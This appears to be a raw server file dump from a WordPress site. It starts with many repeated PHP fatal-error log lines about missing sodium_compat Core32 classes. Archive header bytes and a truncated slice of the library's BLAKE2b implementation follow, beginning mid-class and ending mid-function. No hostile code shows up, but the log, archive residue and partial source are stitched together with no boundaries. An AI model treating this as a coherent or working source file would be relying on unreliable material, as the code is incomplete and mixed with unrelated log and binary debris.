/home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/Curve25519.php:16 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16 [10-Sep-2026 10:29:20 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_HSalsa20" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/XSalsa20.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/XSalsa20.php on line 10 [10-Sep-2026 10:29:36 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Salsa20" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/HSalsa20.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/HSalsa20.php on line 10 [10-Sep-2026 10:29:46 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/ChaCha20.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/ChaCha20.php on line 10 [10-Sep-2026 10:29:56 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/Poly1305.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/Poly1305.php on line 10 [10-Sep-2026 10:30:10 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_HChaCha20" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/XChaCha20.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/XChaCha20.php on line 10 [10-Sep-2026 10:31:26 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_ChaCha20" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/HChaCha20.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/HChaCha20.php on line 10 [10-Sep-2026 10:34:28 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/BLAKE2b.php:12 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/BLAKE2b.php on line 12 [10-Sep-2026 11:08:53 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/Util.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/Util.php on line 10 [10-Sep-2026 11:08:54 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/SipHash.php:12 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/SipHash.php on line 12 [10-Sep-2026 13:56:21 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Curve25519_H" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/Curve25519.php:16 Stack trace: #0 /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/Ed25519.php(7): require_once() #1 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16 [10-Sep-2026 13:56:22 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Curve25519" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/X25519.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/X25519.php on line 10 [10-Sep-2026 13:56:23 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/Salsa20.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/Salsa20.php on line 10 [10-Sep-2026 13:56:27 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Curve25519_H" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/Curve25519.php:16 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16 [10-Sep-2026 13:56:29 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Salsa20" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/HSalsa20.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/HSalsa20.php on line 10 [10-Sep-2026 13:56:51 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_HSalsa20" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/XSalsa20.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/XSalsa20.php on line 10 [10-Sep-2026 13:56:57 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/ChaCha20.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/ChaCha20.php on line 10 [10-Sep-2026 13:57:08 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/Poly1305.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/Poly1305.php on line 10 [10-Sep-2026 13:57:23 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_ChaCha20" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/HChaCha20.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/HChaCha20.php on line 10 [10-Sep-2026 13:58:39 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_HChaCha20" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/XChaCha20.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/XChaCha20.php on line 10 [10-Sep-2026 14:05:17 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/BLAKE2b.php:12 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/BLAKE2b.php on line 12 [10-Sep-2026 14:07:33 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Curve25519_H" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/Curve25519.php:16 Stack trace: #0 /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/Ed25519.php(7): require_once() #1 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16 [10-Sep-2026 14:07:33 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Curve25519" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/X25519.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/X25519.php on line 10 [10-Sep-2026 14:07:35 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/Salsa20.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/Salsa20.php on line 10 [10-Sep-2026 14:07:39 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Curve25519_H" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/Curve25519.php:16 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16 [10-Sep-2026 14:07:41 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Salsa20" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/HSalsa20.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/HSalsa20.php on line 10 [10-Sep-2026 14:08:02 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_HSalsa20" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/XSalsa20.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/XSalsa20.php on line 10 [10-Sep-2026 14:08:09 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/ChaCha20.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/ChaCha20.php on line 10 [10-Sep-2026 14:08:19 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/Poly1305.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/Poly1305.php on line 10 [10-Sep-2026 14:08:35 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_ChaCha20" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/HChaCha20.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/HChaCha20.php on line 10 [10-Sep-2026 14:10:07 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_HChaCha20" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/XChaCha20.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/XChaCha20.php on line 10 [10-Sep-2026 14:13:57 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/BLAKE2b.php:12 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/BLAKE2b.php on line 12 [10-Sep-2026 14:38:11 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/Util.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/Util.php on line 10 [10-Sep-2026 14:38:12 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/SipHash.php:12 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/SipHash.php on line 12 [10-Sep-2026 14:47:58 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/Util.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/Util.php on line 10 [10-Sep-2026 14:47:59 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/SipHash.php:12 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/SipHash.php on line 12 [10-Sep-2026 22:09:37 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Curve25519_H" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/Curve25519.php:16 Stack trace: #0 /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/Ed25519.php(7): require_once() #1 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16 [10-Sep-2026 22:09:38 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Curve25519" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/X25519.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/X25519.php on line 10 [10-Sep-2026 22:09:39 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/Salsa20.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/Salsa20.php on line 10 [10-Sep-2026 22:09:44 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Curve25519_H" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/Curve25519.php:16 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16 [10-Sep-2026 22:10:10 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_HSalsa20" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/XSalsa20.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/XSalsa20.php on line 10 [10-Sep-2026 22:10:17 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Salsa20" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/HSalsa20.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/HSalsa20.php on line 10 [10-Sep-2026 22:10:28 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/ChaCha20.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/ChaCha20.php on line 10 [10-Sep-2026 22:10:45 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/Poly1305.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/Poly1305.php on line 10 [10-Sep-2026 22:12:01 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_ChaCha20" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/HChaCha20.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/HChaCha20.php on line 10 [10-Sep-2026 22:12:14 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_HChaCha20" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/XChaCha20.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/XChaCha20.php on line 10 [10-Sep-2026 22:18:26 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/BLAKE2b.php:12 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/BLAKE2b.php on line 12 PK!]D src/Core32/XChaCha20.phpnu[> */ protected static $sigma = array( array( 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15), array( 14, 10, 4, 8, 9, 15, 13, 6, 1, 12, 0, 2, 11, 7, 5, 3), array( 11, 8, 12, 0, 5, 2, 15, 13, 10, 14, 3, 6, 7, 1, 9, 4), array( 7, 9, 3, 1, 13, 12, 11, 14, 2, 6, 5, 10, 4, 0, 15, 8), array( 9, 0, 5, 7, 2, 4, 10, 15, 14, 1, 11, 12, 6, 8, 3, 13), array( 2, 12, 6, 10, 0, 11, 8, 3, 4, 13, 7, 5, 15, 14, 1, 9), array( 12, 5, 1, 15, 14, 13, 4, 10, 0, 7, 6, 3, 9, 2, 8, 11), array( 13, 11, 7, 14, 12, 1, 3, 9, 5, 0, 15, 4, 8, 6, 2, 10), array( 6, 15, 14, 9, 11, 3, 0, 8, 12, 2, 13, 7, 1, 4, 10, 5), array( 10, 2, 8, 4, 7, 6, 1, 5, 15, 11, 9, 14, 3, 12, 13 , 0), array( 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15), array( 14, 10, 4, 8, 9, 15, 13, 6, 1, 12, 0, 2, 11, 7, 5, 3) ); const BLOCKBYTES = 128; const OUTBYTES = 64; const KEYBYTES = 64; /** * Turn two 32-bit integers into a fixed array representing a 64-bit integer. * * @internal You should not use this directly from another application * * @param int $high * @param int $low * @return SplFixedArray * @psalm-suppress MixedAssignment */ public static function new64($high, $low) { if (PHP_INT_SIZE === 4) { throw new SodiumException("Error, use 32-bit"); } $i64 = new SplFixedArray(2); $i64[0] = $high & 0xffffffff; $i64[1] = $low & 0xffffffff; return $i64; } /** * Convert an arbitrary number into an SplFixedArray of two 32-bit integers * that represents a 64-bit integer. * * @internal You should not use this directly from another application * * @param int $num * @return SplFixedArray */ protected static function to64($num) { list($hi, $lo) = self::numericTo64BitInteger($num); return self::new64($hi, $lo); } /** * Adds two 64-bit integers together, returning their sum as a SplFixedArray * containing two 32-bit integers (representing a 64-bit integer). * * @internal You should not use this directly from another application * * @param SplFixedArray $x * @param SplFixedArray $y * @return SplFixedArray * @psalm-suppress MixedArgument * @psalm-suppress MixedAssignment * @psalm-suppress MixedOperand */ protected static function add64($x, $y) { if (PHP_INT_SIZE === 4) { throw new SodiumException("Error, use 32-bit"); } $l = ($x[1] + $y[1]) & 0xffffffff; return self::new64( (int) ($x[0] + $y[0] + ( ($l < $x[1]) ? 1 : 0 )), (int) $l ); } /** * @internal You should not use this directly from another application * * @param SplFixedArray $x * @param SplFixedArray $y * @param SplFixedArray $z * @return SplFixedArray */ protected static function add364($x, $y, $z) { return self::add64($x, self::add64($y, $z)); } /** * @internal You should not use this directly from another application * * @param SplFixedArray $x * @param SplFixedArray $y * @return SplFixedArray * @throws SodiumException * @throws TypeError */ protected static function xor64(SplFixedArray $x, SplFixedArray $y) { if (PHP_INT_SIZE === 4) { throw new SodiumException("Error, use 32-bit"); } if (!is_numeric($x[0])) { throw new SodiumException('x[0] is not an integer'); } if (!is_numeric($x[1])) { throw new SodiumException('x[1] is not an integer'); } if (!is_numeric($y[0])) { throw new SodiumException('y[0] is not an integer'); } if (!is_numeric($y[1])) { throw new SodiumException('y[1] is not an integer'); } return self::new64( (int) (($x[0] ^ $y[0]) & 0xffffffff), (int) (($x[1] ^ $y[1]) & 0xffffffff) ); } /** * @internal You should not use this directly from another application * * @param SplFixedArray $x * @param int $c * @return SplFixedArray * @psalm-suppress MixedAssignment */ public static function rotr64($x, $c) { if (PHP_INT_SIZE === 4) { throw new SodiumException("Error, use 32-bit"); } if ($c >= 64) { $c %= 64; } if ($c >= 32) { /** @var int $tmp */ $tmp = $x[0]; $x[0] = $x[1]; $x[1] = $tmp; $c -= 32; } if ($c === 0) { return $x; } $l0 = 0; $c = 64 - $c; /** @var int $c */ if ($c < 32) { $h0 = ((int) ($x[0]) << $c) | ( ( (int) ($x[1]) & ((1 << $c) - 1) << (32 - $c) ) >> (32 - $c) ); $l0 = (int) ($x[1]) << $c; } else { $h0 = (int) ($x[1]) << ($c - 32); } $h1 = 0; $c1 = 64 - $c; if ($c1 < 32) { $h1 = (int) ($x[0]) >> $c1; $l1 = ((int) ($x[1]) >> $c1) | ((int) ($x[0]) & ((1 << $c1) - 1)) << (32 - $c1); } else { $l1 = (int) ($x[0]) >> ($c1 - 32); } return self::new64($h0 | $h1, $l0 | $l1); } /** * @internal You should not use this directly from another application * * @param SplFixedArray $x * @return int * @psalm-suppress MixedOperand */ protected static function flatten64($x) { return (int) ($x[0] * 4294967296 + $x[1]); } /** * @internal You should not use this directly from another application * * @param SplFixedArray $x * @param int $i * @return SplFixedArray * @psalm-suppress MixedArgument * @psalm-suppress MixedArrayOffset */ protected static function load64(SplFixedArray $x, $i) { /** @var int $l */ $l = (int) ($x[$i]) | ((int) ($x[$i+1]) << 8) | ((int) ($x[$i+2]) << 16) | ((int) ($x[$i+3]) << 24); /** @var int $h */ $h = (int) ($x[$i+4]) | ((int) ($x[$i+5]) << 8) | ((int) ($x[$i+6]) << 16) | ((int) ($x[$i+7]) << 24); return self::new64($h, $l); } /** * @internal You should not use this directly from another application * * @param SplFixedArray $x * @param int $i * @param SplFixedArray $u * @return void * @psalm-suppress MixedAssignment */ protected static function store64(SplFixedArray $x, $i, SplFixedArray $u) { $maxLength = $x->getSize() - 1; for ($j = 0; $j < 8; ++$j) { /* [0, 1, 2, 3, 4, 5, 6, 7] ... becomes ... [0, 0, 0, 0, 1, 1, 1, 1] */ /** @var int $uIdx */ $uIdx = ((7 - $j) & 4) >> 2; $x[$i] = ((int) ($u[$uIdx]) & 0xff); if (++$i > $maxLength) { return; } /** @psalm-suppress MixedOperand */ $u[$uIdx] >>= 8; } } /** * This just sets the $iv static variable. * * @internal You should not use this directly from another application * * @return void */ public static function pseudoConstructor() { static $called = false; if ($called) { return; } self::$iv = new SplFixedArray(8); self::$iv[0] = self::new64(0x6a09e667, 0xf3bcc908); self::$iv[1] = self::new64(0xbb67ae85, 0x84caa73b); self::$iv[2] = self::new64(0x3c6ef372, 0xfe94f82b); self::$iv[3] = self::new64(0xa54ff53a, 0x5f1d36f1); self::$iv[4] = self::new64(0x510e527f, 0xade682d1); self::$iv[5] = self::new64(0x9b05688c, 0x2b3e6c1f); self::$iv[6] = self::new64(0x1f83d9ab, 0xfb41bd6b); self::$iv[7] = self::new64(0x5be0cd19, 0x137e2179); $called = true; } /** * Returns a fresh BLAKE2 context. * * @internal You should not use this directly from another application * * @return SplFixedArray * @psalm-suppress MixedAssignment * @psalm-suppress MixedArrayAccess * @psalm-suppress MixedArrayAssignment */ protected static function context() { $ctx = new SplFixedArray(6); $ctx[0] = new SplFixedArray(8); // h $ctx[1] = new SplFixedArray(2); // t $ctx[2] = new SplFixedArray(2); // f $ctx[3] = new SplFixedArray(256); // buf $ctx[4] = 0; // buflen $ctx[5] = 0; // last_node (uint8_t) for ($i = 8; $i--;) { $ctx[0][$i] = self::$iv[$i]; } for ($i = 256; $i--;) { $ctx[3][$i] = 0; } $zero = self::new64(0, 0); $ctx[1][0] = $zero; $ctx[1][1] = $zero; $ctx[2][0] = $zero; $ctx[2][1] = $zero; return $ctx; } /** * @internal You should not use this directly from another application * * @param SplFixedArray $ctx * @param SplFixedArray $buf * @return void * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedAssignment * @psalm-suppress MixedArrayAccess * @psalm-suppress MixedArrayAssignment * @psalm-suppress MixedArrayOffset */ protected static function compress(SplFixedArray $ctx, SplFixedArray $buf) { $m = new SplFixedArray(16); $v = new SplFixedArray(16); for ($i = 16; $i--;) { $m[$i] = self::load64($buf, $i << 3); } for ($i = 8; $i--;) { $v[$i] = $ctx[0][$i]; } $v[ 8] = self::$iv[0]; $v[ 9] = self::$iv[1]; $v[10] = self::$iv[2]; $v[11] = self::$iv[3]; $v[12] = self::xor64($ctx[1][0], self::$iv[4]); $v[13] = self::xor64($ctx[1][1], self::$iv[5]); $v[14] = self::xor64($ctx[2][0], self::$iv[6]); $v[15] = self::xor64($ctx[2][1], self::$iv[7]); for ($r = 0; $r < 12; ++$r) { $v = self::G($r, 0, 0, 4, 8, 12, $v, $m); $v = self::G($r, 1, 1, 5, 9, 13, $v, $m); $v = self::G($r, 2, 2, 6, 10, 14, $v, $m); $v = self::G($r, 3, 3, 7, 11, 15, $v, $m); $v = self::G($r, 4, 0, 5, 10, 15, $v, $m); $v = self::G($r, 5, 1, 6, 11, 12, $v, $m); $v = self::G($r, 6, 2, 7, 8, 13, $v, $m); $v = self::G($r, 7, 3, 4, 9, 14, $v, $m); } for ($i = 8; $i--;) { $ctx[0][$i] = self::xor64( $ctx[0][$i], self::xor64($v[$i], $v[$i+8]) ); } } /** * @internal You should not use this directly from another application * * @param int $r * @param int $i * @param int $a * @param int $b * @param int $c * @param int $d * @param SplFixedArray $v * @param SplFixedArray $m * @return SplFixedArray * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedArrayOffset */ public static function G($r, $i, $a, $b, $c, $d, SplFixedArray $v, SplFixedArray $m) { $v[$a] = self::add364($v[$a], $v[$b], $m[self::$sigma[$r][$i << 1]]); $v[$d] = self::rotr64(self::xor64($v[$d], $v[$a]), 32); $v[$c] = self::add64($v[$c], $v[$d]); $v[$b] = self::rotr64(self::xor64($v[$b], $v[$c]), 24); $v[$a] = self::add364($v[$a], $v[$b], $m[self::$sigma[$r][($i << 1) + 1]]); $v[$d] = self::rotr64(self::xor64($v[$d], $v[$a]), 16); $v[$c] = self::add64($v[$c], $v[$d]); $v[$b] = self::rotr64(self::xor64($v[$b], $v[$c]), 63); return $v; } /** * @internal You should not use this directly from another application * * @param SplFixedArray $ctx * @param int $inc * @return void * @throws SodiumException * @psalm-suppress MixedArgument * @psalm-suppress MixedArrayAccess * @psalm-suppress MixedArrayAssignment */ public static function increment_counter($ctx, $inc) { if ($inc < 0) { throw new SodiumException('Increasing by a negative number makes no sense.'); } $t = self::to64($inc); # S->t is $ctx[1] in our implementation # S->t[0] = ( uint64_t )( t >> 0 ); $ctx[1][0] = self::add64($ctx[1][0], $t); # S->t[1] += ( S->t[0] < inc ); if (self::flatten64($ctx[1][0]) < $inc) { $ctx[1][1] = self::add64($ctx[1][1], self::to64(1)); } } /** * @internal You should not use this directly from another application * * @param SplFixedArray $ctx * @param SplFixedArray $p * @param int $plen * @return void * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedAssignment * @psalm-suppress MixedArrayAccess * @psalm-suppress MixedArrayAssignment * @psalm-suppress MixedArrayOffset * @psalm-suppress MixedOperand */ public static function update(SplFixedArray $ctx, SplFixedArray $p, $plen) { self::pseudoConstructor(); $offset = 0; while ($plen > 0) { $left = $ctx[4]; $fill = 256 - $left; if ($plen > $fill) { # memcpy( S->buf + left, in, fill ); /* Fill buffer */ for ($i = $fill; $i--;) { $ctx[3][$i + $left] = $p[$i + $offset]; } # S->buflen += fill; $ctx[4] += $fill; # blake2b_increment_counter( S, BLAKE2B_BLOCKBYTES ); self::increment_counter($ctx, 128); # blake2b_compress( S, S->buf ); /* Compress */ self::compress($ctx, $ctx[3]); # memcpy( S->buf, S->buf + BLAKE2B_BLOCKBYTES, BLAKE2B_BLOCKBYTES ); /* Shift buffer left */ for ($i = 128; $i--;) { $ctx[3][$i] = $ctx[3][$i + 128]; } # S->buflen -= BLAKE2B_BLOCKBYTES; $ctx[4] -= 128; # in += fill; $offset += $fill; # inlen -= fill; $plen -= $fill; } else { for ($i = $plen; $i--;) { $ctx[3][$i + $left] = $p[$i + $offset]; } $ctx[4] += $plen; $offset += $plen; $plen -= $plen; } } } /** * @internal You should not use this directly from another application * * @param SplFixedArray $ctx * @param SplFixedArray $out * @return SplFixedArray * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedAssignment * @psalm-suppress MixedArrayAccess * @psalm-suppress MixedArrayAssignment * @psalm-suppress MixedArrayOffset * @psalm-suppress MixedOperand */ public static function finish(SplFixedArray $ctx, SplFixedArray $out) { self::pseudoConstructor(); if ($ctx[4] > 128) { self::increment_counter($ctx, 128); self::compress($ctx, $ctx[3]); $ctx[4] -= 128; if ($ctx[4] > 128) { throw new SodiumException('Failed to assert that buflen <= 128 bytes'); } for ($i = $ctx[4]; $i--;) { $ctx[3][$i] = $ctx[3][$i + 128]; } } self::increment_counter($ctx, $ctx[4]); 